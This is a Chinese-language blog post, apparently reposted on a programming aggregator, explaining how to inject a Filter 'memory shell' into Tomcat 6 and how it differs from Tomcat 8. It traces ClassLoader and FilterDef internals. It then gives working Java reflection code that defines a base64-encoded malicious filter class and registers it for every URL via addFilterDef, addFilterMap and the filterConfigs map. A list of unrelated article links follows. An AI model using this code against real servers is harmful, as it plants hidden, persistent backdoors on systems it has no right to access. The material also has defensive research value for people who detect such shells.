Java安全之Tomcat6 Filter内存马问题

作者:Zh1z3ven 时间:2022-11-20 07:29:23 

回顾Tomcat8打法

先回顾下之前Tomcat789的打法

这里先抛开 7 8之间的区别, 在8中,最后add到filterchain的都是一个filterconfig对象

ApplicationFilterConfig包含了FilterDef对象

构造方法如下,如果当前filter属性为null会从FilterDef取filter的实例对象

ApplicationFilterConfig(Context context, FilterDef filterDef) throws ClassCastException, ClassNotFoundException, IllegalAccessException, InstantiationException, ServletException, InvocationTargetException, NamingException, IllegalArgumentException, NoSuchMethodException, SecurityException {
       this.context = context;
       this.filterDef = filterDef;
       if (filterDef.getFilter() == null) {
           this.getFilter();
       } else {
           this.filter = filterDef.getFilter();
           this.getInstanceManager().newInstance(this.filter);
           this.initFilter();
       }

}

FilterDef中存储了filterClass / filterName / filter 属性

public class FilterDef implements Serializable {
   private static final long serialVersionUID = 1L;
   private static final StringManager sm;
   private String description = null;
   private String displayName = null;
   private transient Filter filter = null;
   private String filterClass = null;
   private String filterName = null;
   private String largeIcon = null;
   private final Map<String, String> parameters = new HashMap();
   private String smallIcon = null;
   private String asyncSupported = null;

public FilterDef() {
   }

再有就是createFilterChain中还涉及到filterMap

Java安全之Tomcat6 Filter内存马问题

FilterMap里主要存放urlpatterner和filterName的映射

public class FilterMap extends XmlEncodingBase implements Serializable {
   private static final long serialVersionUID = 1L;
   public static final int ERROR = 1;
   public static final int FORWARD = 2;
   public static final int INCLUDE = 4;
   public static final int REQUEST = 8;
   public static final int ASYNC = 16;
   private static final int NOT_SET = 0;
   private int dispatcherMapping = 0;
   private String filterName = null;
   private String[] servletNames = new String[0];
   private boolean matchAllUrlPatterns = false;
   private boolean matchAllServletNames = false;
   private String[] urlPatterns = new String[0];

tomcat8 * 入filter内存马流程如下:

  • FilterDef: 设置 setFilter(Filter filter) setFilterName(String filterName) setFilterClass(String filterClass) 这里filterName和filterClass应该不是一个东西,最后调用StandardContext#addFilterDef将该恶意filterdef put到this.filterDefs

  • FilterMap: addURLPattern("/*") setFilterName(String filterName) setDispatcher(DispatcherType.REQUEST.name()),最后调用StandardContext#addFilterMapBefore(filtermap) 添加到this.filterMaps

  • ApplicationFilterConfig: 调用有参构造将FilterDef作为参数传递进去后调有参构造实例化一个ApplicationFilterConfig,最终put进standardcontext的属性里去。

探索Tomcat6与Tomcat8之间的区别

主要看下tomcat6和tomcat8之间createFilterChain不相同的地方 看到ApplicationFilterFactory#createFilterChain

跟进getFilter

Java安全之Tomcat6 Filter内存马问题

主要代码如下:

所以这里构造filterDef的时候filterClass为evilfilter的全类名即可

Java安全之Tomcat6 Filter内存马问题

再来看下FilterDef 可以发现确实在Tomcat6下面没有filter这个属性了

Java安全之Tomcat6 Filter内存马问题

所以一个很大的区别就是在getFilter方法,也就是获取filter实例对象的逻辑:

Tomcat8中是通过filterDef的属性filter值来拿到 恶意filter实例

Tomcat6中是通过filterDef的属性filterClass属性作为类名,通过ClassLoader去实例化

Java安全之Tomcat6 Filter内存马问题

这里当我们调用有参构造实例化ApplicationFilterConfig时,会进入getFilter方法逻辑内

Java安全之Tomcat6 Filter内存马问题

重点看loadClass方法是否可以加载到我们的恶意filter,因为这个filter并不是真实存在,且我们也只是通过了当前线程去defineClass的

Java安全之Tomcat6 Filter内存马问题

跟进WebappClassLoader#loadClass

Java安全之Tomcat6 Filter内存马问题

看到this.findLoadedClass0(name)从resourceEntries也就是classes下各个包中的.class找,是否有这个类,有的话直接return 这个entry的loadClass属性

Java安全之Tomcat6 Filter内存马问题

这个属性存储的是该类的class对象,如果这里面有该类名,后面就直接resovleClass了

Java安全之Tomcat6 Filter内存马问题

这里肯定是没有我们的恶意filter,继续往下跟

后面直接调用java.lang.ClassLoader#findLoadedClass来通过ClassLoader去找是否已经加载过该class了

而在这里是直接找到了

Java安全之Tomcat6 Filter内存马问题

查阅开发资料并思考了一下:

这里因为我们之前是通过当前线程上下文加载器把恶意filter给loadClass了,所以这里就是可以找到的

后面随手翻了下classloader的属性,发现在classes属性是存在该filter的class的

Java安全之Tomcat6 Filter内存马问题

那么正好来debug一下当前线程上下文ClassLoader#loadClass的过程

可以看到当前上下文的ClassLoader就是WebappClassLoader,并且此时classes属性里并没有我们的恶意类

Java安全之Tomcat6 Filter内存马问题

而当步过defineClass后,当前线程上下文ClassLoader也就是WebappClassLoaderclasses属性中就新增了我们的恶意filter的class

所以后续在getFilter的逻辑中也是可以成功通过

Java安全之Tomcat6 Filter内存马问题

回溯上面的逻辑时,getFilter方法因为会走到这个else逻辑内,所以最终也是通过WebappClassLoader#loadClass的我们的恶意filter

Java安全之Tomcat6 Filter内存马问题

以上,所以因为我们前面调用的是Thread.currentThread().getContextClassLoader()去加载的我们恶意filter类,而tomcat6中getFilter逻辑是通过this.context.getLoader().getClassLoader();去findClass,而这两个ClassLoader又同为WebappClassLoader所以不会存在ClassNotfound的问题。 所以tomcat6中注入filter内存马就不需要先实例化恶意filter存到filterDef中,直接使用Thread.currentThread().getContextClassLoader()defineClass一下恶意filter即可。

注入内存马的主要代码如下:

Method var1 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
var1.setAccessible(true);
byte[] var2 = base64decode("base64 str");
var1.invoke(Thread.currentThread().getContextClassLoader(), var2, 0, var2.length);

try {

if (STANDARDCONTET != null) {
   // 1 反射获取filterDef
   Class FilterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef");
   Constructor FilterDefconstructor = FilterDefClass.getConstructor(new Class[]{});
   Object filterDef = FilterDefconstructor.newInstance();

// 2 设置filtername
   Method setFilterNameMethod = FilterDefClass.getDeclaredMethod("setFilterName", String.class);
   setFilterNameMethod.invoke(filterDef,filterName);

// 3 setFilterClass
   Method setFilterClassMethod = FilterDefClass.getDeclaredMethod("setFilterClass", String.class);
   setFilterClassMethod.invoke(filterDef,Thread.currentThread().getContextClassLoader().loadClass("HiganbanaFilter").getName());

// 4 addFilterDef
   Method addFilterDef=STANDARDCONTET.getClass().getMethod("addFilterDef", FilterDefClass);
   addFilterDef.invoke(STANDARDCONTET,filterDef);

// 构造FilterMap
   Class FilterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap");
   Object filterMap =  FilterMapClass.newInstance();

Method setFilterNameMethod2 = FilterMapClass.getDeclaredMethod("setFilterName", String.class);
   setFilterNameMethod2.invoke(filterMap,FilterDefClass.getDeclaredMethod("getFilterName").invoke(filterDef));
   Method setDispatcherMethod = FilterMapClass.getDeclaredMethod("setDispatcher", String.class);
   setDispatcherMethod.invoke(filterMap,"REQUEST");
   Method addURLPatternMethod = FilterMapClass.getDeclaredMethod("addURLPattern", String.class);
   addURLPatternMethod.invoke(filterMap,"/*");

Method addFilterMapMethod=STANDARDCONTET.getClass().getDeclaredMethod("addFilterMap", FilterMapClass);
   addFilterMapMethod.invoke(STANDARDCONTET,filterMap);

// 创建filterconfig 并添加到standardcontext.filterconfigs数组里
   Class filterConfigClass = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
   Constructor filterConfigCon = filterConfigClass.getDeclaredConstructor(Class.forName("org.apache.catalina.Context"), Class.forName("org.apache.catalina.deploy.FilterDef"));
   filterConfigCon.setAccessible(true);
   // 实例化ApplicationFilterConfig时触发getFilter方法
   Object filterConfigObj = filterConfigCon.newInstance(STANDARDCONTET, filterDef);

Field filterConfigsField = STANDARDCONTET.getClass().getDeclaredField("filterConfigs");
   filterConfigsField.setAccessible(true);
   HashMap filterConfigsMap = (HashMap) filterConfigsField.get(STANDARDCONTET);
   filterConfigsMap.put(filterName, filterConfigObj);

}

} catch (Throwable var16) {
 var16.printStackTrace();
}

来源:https://www.cnblogs.com/CoLo/p/16840371.html

标签:Java,Tomcat,Filter,内存马
0
投稿

猜你喜欢

  • Android实现高亮搜索功能的示例

    2021-06-13 19:25:02
  • 在web.config和app.config文件中增加自定义配置节点的方法

    2021-11-03 03:21:41
  • 浅谈android @id和@+id的区别

    2021-10-28 06:06:09
  • Android中使用自定义ViewGroup的总结

    2021-12-18 04:25:39
  • C#实现图片切割、切图、裁剪

    2022-10-24 15:12:19
  • 使用TypeScript开发微信小程序的方法

    2023-08-30 10:42:03
  • Flutter runApp到渲染上屏分析详解

    2023-06-27 12:09:45
  • Android蓝牙通信编程

    2023-06-24 04:37:48
  • C#如何用ThoughtWorks生成二维码

    2022-09-28 20:44:53
  • Android 高版本API方法在低版本系统上的兼容性处理

    2022-08-22 08:51:53
  • Android中 视频屏幕左半部分上下滑动改变亮度右半部分上下滑动改变声音

    2021-08-13 02:57:12
  • SpringMVC 参数绑定之视图传参到控制器的实现代码

    2021-12-29 11:54:17
  • android dialog背景模糊化效果实现方法

    2023-09-17 02:31:23
  • C#中使用Cache框架快速实现Cache操作

    2023-01-21 22:35:27
  • 使用Spring Cloud Feign上传文件的示例

    2021-08-25 04:37:38
  • Java分布式事务管理框架之Seata

    2023-09-28 11:50:36
  • RecyclerView实现纵向和横向滚动

    2023-04-03 14:50:44
  • Spring中SmartLifecycle和Lifecycle的作用和区别

    2023-11-18 22:55:50
  • Unity Shader实现裁切效果

    2023-03-05 07:54:24
  • 2021年最新Redis面试题汇总(3)

    2022-02-27 13:31:22
  • asp之家 软件编程 m.aspxhome.com